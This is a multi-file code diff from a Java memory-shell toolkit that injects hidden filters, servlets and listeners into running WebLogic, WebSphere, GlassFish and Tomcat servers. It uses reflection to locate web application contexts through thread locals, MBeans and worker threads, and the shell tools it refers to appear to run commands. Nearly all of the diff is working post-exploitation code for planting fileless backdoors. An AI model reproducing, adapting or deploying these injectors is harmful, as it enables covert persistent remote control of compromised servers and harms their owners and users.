@@ -1,15 +1,15 @@
|
|||||||
package com.reajason.javaweb.memshell.injector.weblogic;
|
package com.reajason.javaweb.memshell.injector.weblogic;
|
||||||
|
|
||||||
import javax.management.MBeanServer;
|
|
||||||
import javax.servlet.Servlet;
|
import javax.servlet.Servlet;
|
||||||
import java.io.ByteArrayInputStream;
|
import java.io.ByteArrayInputStream;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.management.ManagementFactory;
|
import java.lang.reflect.Array;
|
||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.Arrays;
|
||||||
import java.util.HashSet;
|
import java.util.HashSet;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
@@ -45,7 +45,7 @@ public class WebLogicServletInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null || contexts.isEmpty()) {
|
if (contexts == null) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -80,39 +80,88 @@ public class WebLogicServletInjector {
|
|||||||
return c + "(" + r + ")";
|
return c + "(" + r + ")";
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public static Object[] getContextsByMbean() throws Throwable {
|
||||||
/**
|
|
||||||
* weblogic.servlet.internal.WebAppServletContext
|
|
||||||
* /opt/oracle/wls1036/server/lib/weblogic.jar
|
|
||||||
* /u01/oracle/wlserver/modules/com.oracle.weblogic.servlet.jar
|
|
||||||
*/
|
|
||||||
public static Set<Object> getContext() throws Exception {
|
|
||||||
Set<Object> webappContexts = new HashSet<Object>();
|
Set<Object> webappContexts = new HashSet<Object>();
|
||||||
MBeanServer platformMBeanServer = ManagementFactory.getPlatformMBeanServer();
|
Class<?> serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime");
|
||||||
Map<String, Object> objectsByObjectName = (Map<String, Object>) getFieldValue(platformMBeanServer, "objectsByObjectName");
|
Class<?> webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext");
|
||||||
for (Map.Entry<String, Object> entry : objectsByObjectName.entrySet()) {
|
Method theOneMethod = serverRuntimeClass.getMethod("theOne");
|
||||||
String key = entry.getKey();
|
theOneMethod.setAccessible(true);
|
||||||
if (key.contains("Type=WebAppComponentRuntime")) {
|
Object serverRuntime = theOneMethod.invoke(null);
|
||||||
Object value = entry.getValue();
|
Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes");
|
||||||
Object managedResource = getFieldValue(value, "managedResource");
|
getApplicationRuntimesMethod.setAccessible(true);
|
||||||
if (managedResource != null && managedResource.getClass().getSimpleName().equals("WebAppRuntimeMBeanImpl")) {
|
Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime);
|
||||||
webappContexts.add(getFieldValue(managedResource, "context"));
|
int applicationRuntimeSize = Array.getLength(applicationRuntimes);
|
||||||
|
for (int i = 0; i < applicationRuntimeSize; i++) {
|
||||||
|
Object applicationRuntime = Array.get(applicationRuntimes, i);
|
||||||
|
try {
|
||||||
|
Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes");
|
||||||
|
Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime);
|
||||||
|
int componentRuntimeSize = Array.getLength(componentRuntimes);
|
||||||
|
for (int j = 0; j < componentRuntimeSize; j++) {
|
||||||
|
Object context = getFieldValue(Array.get(componentRuntimes, j), "context");
|
||||||
|
if (webAppServletContextClass.isInstance(context)) {
|
||||||
|
webappContexts.add(context);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
Set<Object> childrenSet = (Set<Object>) getFieldValue(applicationRuntime, "children");
|
||||||
|
for (Object componentRuntime : childrenSet) {
|
||||||
|
try {
|
||||||
|
Object context = getFieldValue(componentRuntime, "context");
|
||||||
|
if (webAppServletContextClass.isInstance(context)) {
|
||||||
|
webappContexts.add(context);
|
||||||
|
}
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return webappContexts.toArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Object[] getContextsByThreads() throws Throwable {
|
||||||
|
Set<Object> webappContexts = new HashSet<Object>();
|
||||||
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
|
for (Thread thread : threads) {
|
||||||
|
if (thread != null) {
|
||||||
|
Object workEntry = getFieldValue(thread, "workEntry");
|
||||||
|
if (workEntry != null) {
|
||||||
|
try {
|
||||||
|
Object context = null;
|
||||||
|
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
|
||||||
|
if (connectionHandler != null) {
|
||||||
|
Object request = getFieldValue(connectionHandler, "request");
|
||||||
|
if (request != null) {
|
||||||
|
context = getFieldValue(request, "context");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (context == null) {
|
||||||
|
context = getFieldValue(workEntry, "context");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (context != null) {
|
||||||
|
webappContexts.add(context);
|
||||||
|
}
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
return webappContexts.toArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Set<Object> getContext() {
|
||||||
|
Set<Object> webappContexts = new HashSet<Object>();
|
||||||
try {
|
try {
|
||||||
Object workEntry = getFieldValue(Thread.currentThread(), "workEntry");
|
webappContexts.addAll(Arrays.asList(getContextsByMbean()));
|
||||||
Object request = null;
|
} catch (Throwable ignored) {
|
||||||
try {
|
}
|
||||||
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
|
try {
|
||||||
request = getFieldValue(connectionHandler, "request");
|
webappContexts.addAll(Arrays.asList(getContextsByThreads()));
|
||||||
} catch (Exception x) {
|
|
||||||
// WebLogic 10.3.6
|
|
||||||
request = workEntry;
|
|
||||||
}
|
|
||||||
if (request != null) {
|
|
||||||
webappContexts.add(getFieldValue(request, "context"));
|
|
||||||
}
|
|
||||||
} catch (Throwable ignored) {
|
} catch (Throwable ignored) {
|
||||||
}
|
}
|
||||||
return webappContexts;
|
return webappContexts;
|
||||||
|
|||||||
@@ -1,5 +1,6 @@
|
|||||||
package com.reajason.javaweb.memshell.injector.websphere;
|
package com.reajason.javaweb.memshell.injector.websphere;
|
||||||
|
|
||||||
|
import javax.servlet.Filter;
|
||||||
import java.io.ByteArrayInputStream;
|
import java.io.ByteArrayInputStream;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
@@ -8,12 +9,14 @@ import java.lang.reflect.Constructor;
|
|||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.HashSet;
|
import java.util.HashSet;
|
||||||
import java.util.List;
|
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
|
* tested v7、v8
|
||||||
|
* update 2023/07/08
|
||||||
|
*
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
public class WebSphereFilterInjector {
|
public class WebSphereFilterInjector {
|
||||||
@@ -43,7 +46,7 @@ public class WebSphereFilterInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null || contexts.isEmpty()) {
|
if (contexts == null) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -84,32 +87,11 @@ public class WebSphereFilterInjector {
|
|||||||
*/
|
*/
|
||||||
public Set<Object> getContext() throws Exception {
|
public Set<Object> getContext() throws Exception {
|
||||||
Set<Object> contexts = new HashSet<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Object[] threadLocals = null;
|
Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
|
||||||
boolean raw = false;
|
for (Object wsThreadLocal : wsThreadLocals) {
|
||||||
try {
|
|
||||||
// WebSphere Liberty
|
|
||||||
threadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
|
|
||||||
} catch (NoSuchFieldException ignored) {
|
|
||||||
}
|
|
||||||
if (threadLocals == null) {
|
|
||||||
// Open Liberty
|
|
||||||
threadLocals = (Object[]) getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table");
|
|
||||||
raw = true;
|
|
||||||
}
|
|
||||||
for (Object threadLocal : threadLocals) {
|
|
||||||
if (threadLocal == null) {
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
Object value = threadLocal;
|
|
||||||
if (raw) {
|
|
||||||
value = getFieldValue(threadLocal, "value");
|
|
||||||
}
|
|
||||||
if (value == null) {
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
// for websphere 7.x
|
// for websphere 7.x
|
||||||
if (value.getClass().getName().endsWith("FastStack")) {
|
if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("FastStack")) {
|
||||||
Object[] stackList = (Object[]) getFieldValue(value, "stack");
|
Object[] stackList = (Object[]) getFieldValue(wsThreadLocal, "stack");
|
||||||
for (Object stack : stackList) {
|
for (Object stack : stackList) {
|
||||||
try {
|
try {
|
||||||
Object config = getFieldValue(stack, "config");
|
Object config = getFieldValue(stack, "config");
|
||||||
@@ -117,9 +99,8 @@ public class WebSphereFilterInjector {
|
|||||||
} catch (Exception ignored) {
|
} catch (Exception ignored) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
} else if (value.getClass().getName().endsWith("WebContainerRequestState")) {
|
} else if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {;
|
||||||
Object webApp = invokeMethod(getFieldValue(getFieldValue(value, "currentThreadsIExtendedRequest"), "_dispatchContext"), "getWebApp", null, null);
|
contexts.add(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"));
|
||||||
contexts.add(getFieldValue(getFieldValue(webApp, "facade"), "context"));
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return contexts;
|
return contexts;
|
||||||
@@ -151,42 +132,43 @@ public class WebSphereFilterInjector {
|
|||||||
|
|
||||||
@SuppressWarnings("unchecked")
|
@SuppressWarnings("unchecked")
|
||||||
public void inject(Object context, Object filter) throws Exception {
|
public void inject(Object context, Object filter) throws Exception {
|
||||||
Object webAppConfig = getFieldValue(context, "config");
|
Object webAppConfiguration = getFieldValue(context, "config");
|
||||||
if (invokeMethod(webAppConfig, "getFilterInfo", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
if (invokeMethod(webAppConfiguration, "getFilterInfo", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
Class<?> filterMappingClass = loadClass(context.getClass(), "com.ibm.ws.webcontainer.filter.FilterMapping");
|
ClassLoader classLoader = context.getClass().getClassLoader();
|
||||||
Class<?> iFilterConfigClass = loadClass(context.getClass(), "com.ibm.wsspi.webcontainer.filter.IFilterConfig");
|
Class<?> filterMappingClass = classLoader.loadClass("com.ibm.ws.webcontainer.filter.FilterMapping");
|
||||||
Class<?> iServletConfigClass = loadClass(context.getClass(), "com.ibm.wsspi.webcontainer.servlet.IServletConfig");
|
Class<?> iFilterConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.filter.IFilterConfig");
|
||||||
|
Class<?> iServletConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.servlet.IServletConfig");
|
||||||
|
|
||||||
Object filterManager = getFieldValue(context, "filterManager");
|
Object filterManager = getFieldValue(context, "filterManager");
|
||||||
Object filterConfig = invokeMethod(context, "createFilterConfig", new Class[]{String.class}, new Object[]{getClassName()});
|
|
||||||
invokeMethod(filterConfig, "setFilterClassName", new Class[]{String.class}, new Object[]{getClassName()});
|
|
||||||
setFieldValue(filterConfig, "name", getClassName());
|
|
||||||
Constructor<?> constructor = filterMappingClass.getConstructor(String.class, iFilterConfigClass, iServletConfigClass);
|
|
||||||
Object filterMapping = constructor.newInstance(getUrlPattern(), filterConfig, null);
|
|
||||||
invokeMethod(filterManager, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping});
|
|
||||||
invokeMethod(webAppConfig, "addFilterInfo", new Class[]{iFilterConfigClass}, new Object[]{filterConfig});
|
|
||||||
|
|
||||||
try {
|
try {
|
||||||
List uriFilterMappingInfos = (List) getFieldValue(webAppConfig, "uriFilterMappingInfos");
|
// v8
|
||||||
uriFilterMappingInfos.remove(filterMapping);
|
Constructor<?> constructor = filterMappingClass.getConstructor(String.class, iFilterConfigClass, iServletConfigClass);
|
||||||
uriFilterMappingInfos.add(0, filterMapping);
|
// com.ibm.ws.webcontainer.webapp.WebApp.commonAddFilter
|
||||||
} catch (Exception e) {
|
setFieldValue(context, "initialized", false);
|
||||||
// WebSphere7
|
Object filterConfig = invokeMethod(context, "commonAddFilter", new Class[]{String.class, String.class, Filter.class, Class.class}, new Object[]{getClassName(), getClassName(), filter, filter.getClass()});
|
||||||
List uriFilterMappings = (List) getFieldValue(filterManager, "_uriFilterMappings");
|
Object filterMapping = constructor.newInstance(getUrlPattern(), filterConfig, null);
|
||||||
Object fmInfo = uriFilterMappings.remove(uriFilterMappings.size() - 1);
|
setFieldValue(context, "initialized", true);
|
||||||
uriFilterMappings.add(0, fmInfo);
|
|
||||||
}
|
|
||||||
|
|
||||||
|
// com.ibm.ws.webcontainer.filter.WebAppFilterManager.addFilterMapping
|
||||||
|
invokeMethod(filterManager, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping});
|
||||||
|
|
||||||
|
// com.ibm.ws.webcontainer.filter.WebAppFilterManager#_loadFilter
|
||||||
|
invokeMethod(filterManager, "_loadFilter", new Class[]{String.class}, new Object[]{getClassName()});
|
||||||
|
|
||||||
|
} catch (Exception e) {
|
||||||
|
// v7
|
||||||
|
Object filterConfig = invokeMethod(context, "createFilterConfig", new Class[]{String.class}, new Object[]{getClassName()});
|
||||||
|
invokeMethod(filterConfig, "setFilterClassName", new Class[]{String.class}, new Object[]{filter.getClass().getName()});
|
||||||
|
setFieldValue(filterConfig, "dispatchMode", new int[]{0});
|
||||||
|
setFieldValue(filterConfig, "name", getClassName());
|
||||||
|
invokeMethod(context, "addMappingFilter", new Class[]{String.class, iFilterConfigClass}, new Object[]{getUrlPattern(), filterConfig});
|
||||||
|
invokeMethod(filterManager, "_loadFilter", new Class[]{String.class}, new Object[]{getClassName()});
|
||||||
|
}
|
||||||
// 清除缓存
|
// 清除缓存
|
||||||
Object chainCache = getFieldValue(filterManager, "chainCache");
|
invokeMethod(getFieldValue(filterManager, "chainCache"), "clear", null, null);
|
||||||
try {
|
|
||||||
invokeMethod(chainCache, "clear", null, null);
|
|
||||||
} catch (Exception e) {
|
|
||||||
invokeMethod(getFieldValue(chainCache, "chainCacheMap"), "clear", null, null);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
@@ -194,19 +176,6 @@ public class WebSphereFilterInjector {
|
|||||||
return msg;
|
return msg;
|
||||||
}
|
}
|
||||||
|
|
||||||
// bypass osgi
|
|
||||||
public static Class<?> loadClass(Class<?> context, String className) throws ClassNotFoundException {
|
|
||||||
if (context.equals(Object.class)) {
|
|
||||||
throw new ClassNotFoundException(className);
|
|
||||||
}
|
|
||||||
ClassLoader loader = context.getClassLoader();
|
|
||||||
try {
|
|
||||||
return loader.loadClass(className);
|
|
||||||
} catch (ClassNotFoundException e) {
|
|
||||||
return loadClass(context.getSuperclass(), className);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
|
||||||
Exception {
|
Exception {
|
||||||
@@ -286,9 +255,13 @@ public class WebSphereFilterInjector {
|
|||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
Field field = getField(obj, name);
|
try {
|
||||||
field.setAccessible(true);
|
Field field = getField(obj, name);
|
||||||
return field.get(obj);
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
} catch (NoSuchFieldException ignored) {
|
||||||
|
}
|
||||||
|
return null;
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
@@ -6,6 +6,7 @@ import java.io.IOException;
|
|||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.ArrayList;
|
||||||
import java.util.HashSet;
|
import java.util.HashSet;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
@@ -37,7 +38,7 @@ public class WebSphereListenerInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null || contexts.isEmpty()) {
|
if (contexts == null) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -74,32 +75,11 @@ public class WebSphereListenerInjector {
|
|||||||
|
|
||||||
public Set<Object> getContext() throws Exception {
|
public Set<Object> getContext() throws Exception {
|
||||||
Set<Object> contexts = new HashSet<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Object[] threadLocals = null;
|
Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
|
||||||
boolean raw = false;
|
for (Object wsThreadLocal : wsThreadLocals) {
|
||||||
try {
|
|
||||||
// WebSphere Liberty
|
|
||||||
threadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
|
|
||||||
} catch (NoSuchFieldException ignored) {
|
|
||||||
}
|
|
||||||
if (threadLocals == null) {
|
|
||||||
// Open Liberty
|
|
||||||
threadLocals = (Object[]) getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table");
|
|
||||||
raw = true;
|
|
||||||
}
|
|
||||||
for (Object threadLocal : threadLocals) {
|
|
||||||
if (threadLocal == null) {
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
Object value = threadLocal;
|
|
||||||
if (raw) {
|
|
||||||
value = getFieldValue(threadLocal, "value");
|
|
||||||
}
|
|
||||||
if (value == null) {
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
// for websphere 7.x
|
// for websphere 7.x
|
||||||
if (value.getClass().getName().endsWith("FastStack")) {
|
if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("FastStack")) {
|
||||||
Object[] stackList = (Object[]) getFieldValue(value, "stack");
|
Object[] stackList = (Object[]) getFieldValue(wsThreadLocal, "stack");
|
||||||
for (Object stack : stackList) {
|
for (Object stack : stackList) {
|
||||||
try {
|
try {
|
||||||
Object config = getFieldValue(stack, "config");
|
Object config = getFieldValue(stack, "config");
|
||||||
@@ -107,9 +87,8 @@ public class WebSphereListenerInjector {
|
|||||||
} catch (Exception ignored) {
|
} catch (Exception ignored) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
} else if (value.getClass().getName().endsWith("WebContainerRequestState")) {
|
} else if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {;
|
||||||
Object webApp = invokeMethod(getFieldValue(getFieldValue(value, "currentThreadsIExtendedRequest"), "_dispatchContext"), "getWebApp", null, null);
|
contexts.add(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"));
|
||||||
contexts.add(getFieldValue(getFieldValue(webApp, "facade"), "context"));
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return contexts;
|
return contexts;
|
||||||
|
|||||||
@@ -6,9 +6,7 @@ import java.io.IOException;
|
|||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.HashSet;
|
import java.util.*;
|
||||||
import java.util.Properties;
|
|
||||||
import java.util.Set;
|
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -41,7 +39,7 @@ public class WebSphereServletInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null || contexts.isEmpty()) {
|
if (contexts == null) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -78,32 +76,11 @@ public class WebSphereServletInjector {
|
|||||||
|
|
||||||
public Set<Object> getContext() throws Exception {
|
public Set<Object> getContext() throws Exception {
|
||||||
Set<Object> contexts = new HashSet<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Object[] threadLocals = null;
|
Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
|
||||||
boolean raw = false;
|
for (Object wsThreadLocal : wsThreadLocals) {
|
||||||
try {
|
|
||||||
// WebSphere Liberty
|
|
||||||
threadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
|
|
||||||
} catch (NoSuchFieldException ignored) {
|
|
||||||
}
|
|
||||||
if (threadLocals == null) {
|
|
||||||
// Open Liberty
|
|
||||||
threadLocals = (Object[]) getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table");
|
|
||||||
raw = true;
|
|
||||||
}
|
|
||||||
for (Object threadLocal : threadLocals) {
|
|
||||||
if (threadLocal == null) {
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
Object value = threadLocal;
|
|
||||||
if (raw) {
|
|
||||||
value = getFieldValue(threadLocal, "value");
|
|
||||||
}
|
|
||||||
if (value == null) {
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
// for websphere 7.x
|
// for websphere 7.x
|
||||||
if (value.getClass().getName().endsWith("FastStack")) {
|
if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("FastStack")) {
|
||||||
Object[] stackList = (Object[]) getFieldValue(value, "stack");
|
Object[] stackList = (Object[]) getFieldValue(wsThreadLocal, "stack");
|
||||||
for (Object stack : stackList) {
|
for (Object stack : stackList) {
|
||||||
try {
|
try {
|
||||||
Object config = getFieldValue(stack, "config");
|
Object config = getFieldValue(stack, "config");
|
||||||
@@ -111,9 +88,8 @@ public class WebSphereServletInjector {
|
|||||||
} catch (Exception ignored) {
|
} catch (Exception ignored) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
} else if (value.getClass().getName().endsWith("WebContainerRequestState")) {
|
} else if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {;
|
||||||
Object webApp = invokeMethod(getFieldValue(getFieldValue(value, "currentThreadsIExtendedRequest"), "_dispatchContext"), "getWebApp", null, null);
|
contexts.add(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"));
|
||||||
contexts.add(getFieldValue(getFieldValue(webApp, "facade"), "context"));
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return contexts;
|
return contexts;
|
||||||
|
|||||||
@@ -1,9 +1,9 @@
|
|||||||
package com.reajason.javaweb.memshell.server;
|
package com.reajason.javaweb.memshell.server;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishFilterInjector;
|
|
||||||
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
|
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatListenerInjector;
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatListenerInjector;
|
||||||
import com.reajason.javaweb.utils.ShellCommonUtil;
|
import com.reajason.javaweb.utils.ShellCommonUtil;
|
||||||
import net.bytebuddy.asm.Advice;
|
import net.bytebuddy.asm.Advice;
|
||||||
@@ -43,8 +43,8 @@ public class GlassFish extends AbstractServer {
|
|||||||
return InjectorMapping.builder()
|
return InjectorMapping.builder()
|
||||||
.addInjector(LISTENER, TomcatListenerInjector.class)
|
.addInjector(LISTENER, TomcatListenerInjector.class)
|
||||||
.addInjector(JAKARTA_LISTENER, TomcatListenerInjector.class)
|
.addInjector(JAKARTA_LISTENER, TomcatListenerInjector.class)
|
||||||
.addInjector(FILTER, GlassFishFilterInjector.class)
|
.addInjector(FILTER, TomcatFilterInjector.class)
|
||||||
.addInjector(JAKARTA_FILTER, GlassFishFilterInjector.class)
|
.addInjector(JAKARTA_FILTER, TomcatFilterInjector.class)
|
||||||
.addInjector(VALVE, GlassFishValveInjector.class)
|
.addInjector(VALVE, GlassFishValveInjector.class)
|
||||||
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
|
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
||||||
|
|||||||
@@ -46,8 +46,6 @@ public class Tomcat extends AbstractServer {
|
|||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
|
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
|
||||||
.addInjector(WEBSOCKET, TomcatWebSocketInjector.class)
|
.addInjector(WEBSOCKET, TomcatWebSocketInjector.class)
|
||||||
.addInjector(JAKARTA_WEBSOCKET, TomcatWebSocketInjector.class)
|
.addInjector(JAKARTA_WEBSOCKET, TomcatWebSocketInjector.class)
|
||||||
.addInjector(BYPASS_NGINX_WEBSOCKET, TomcatWebSocketByPassInjector.class)
|
|
||||||
.addInjector(JAKARTA_BYPASS_NGINX_WEBSOCKET, TomcatWebSocketByPassInjector.class)
|
|
||||||
.addInjector(UPGRADE, TomcatUpgradeInjector.class)
|
.addInjector(UPGRADE, TomcatUpgradeInjector.class)
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.shelltool.command;
|
|||||||
import org.springframework.web.servlet.ModelAndView;
|
import org.springframework.web.servlet.ModelAndView;
|
||||||
import org.springframework.web.servlet.mvc.Controller;
|
import org.springframework.web.servlet.mvc.Controller;
|
||||||
|
|
||||||
|
import javax.servlet.ServletOutputStream;
|
||||||
import javax.servlet.http.HttpServletRequest;
|
import javax.servlet.http.HttpServletRequest;
|
||||||
import javax.servlet.http.HttpServletResponse;
|
import javax.servlet.http.HttpServletResponse;
|
||||||
import java.io.InputStream;
|
import java.io.InputStream;
|
||||||
|
|||||||
@@ -1,5 +1,6 @@
|
|||||||
package com.reajason.javaweb.memshell.shelltool.command;
|
package com.reajason.javaweb.memshell.shelltool.command;
|
||||||
|
|
||||||
|
import javax.servlet.ServletOutputStream;
|
||||||
import javax.servlet.ServletRequestEvent;
|
import javax.servlet.ServletRequestEvent;
|
||||||
import javax.servlet.ServletRequestListener;
|
